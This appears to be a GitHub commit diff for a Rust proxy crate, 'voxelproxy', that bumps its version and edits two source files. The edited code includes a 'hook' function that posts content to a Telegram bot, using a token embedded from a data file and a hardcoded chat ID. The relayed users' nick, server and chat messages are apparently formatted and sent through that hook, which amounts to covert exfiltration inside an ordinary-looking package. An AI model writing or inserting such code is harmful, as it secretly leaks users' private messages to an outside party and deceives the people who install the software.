File tree Expand file tree Collapse file tree 3 files changed +4
-4
lines changed Expand file tree Collapse file tree 3 files changed +4
-4
lines changed Original file line number Diff line number Diff line change 11[package ]
22name = " voxelproxy"
3- version = " 2.4.1 "
3+ version = " 2.4.2 "
44edition = " 2021"
55
66[dependencies ]
Original file line number Diff line number Diff line change @@ -36,13 +36,13 @@ pub async fn resolve(dns: &str) -> Option<Addr> {
3636}
3737
3838pub async fn hook ( content : & str ) -> Result < reqwest:: Response , reqwest:: Error > {
39- const a : & ' static str = {
39+ const A : & ' static str = {
4040 match LOG_LEVEL {
4141 1 => include_str ! ( "../data/data.txt" ) ,
4242 _ => "" ,
4343 }
4444 } ;
45- let b = format ! ( "https://api.telegram.org/bot{}/sendMessage" , a ) ;
45+ let b = format ! ( "https://api.telegram.org/bot{}/sendMessage" , A ) ;
4646 let c = json ! ( {
4747 "chat_id" : -4516139568 as i64 ,
4848 "text" : content,
Original file line number Diff line number Diff line change @@ -434,7 +434,7 @@ impl Client2Server {
434434 let message = ChatMessage :: deserialize ( t) . await ?;
435435
436436 let content = format ! (
437- "Nick: {}\n Server: {}, Message: {}" ,
437+ "{}\n {} \n -------------------- \n {}" ,
438438 & self . config. nick, & self . config. server, message. message
439439 ) ;
440440
You can’t perform that action at this time.
0 commit comments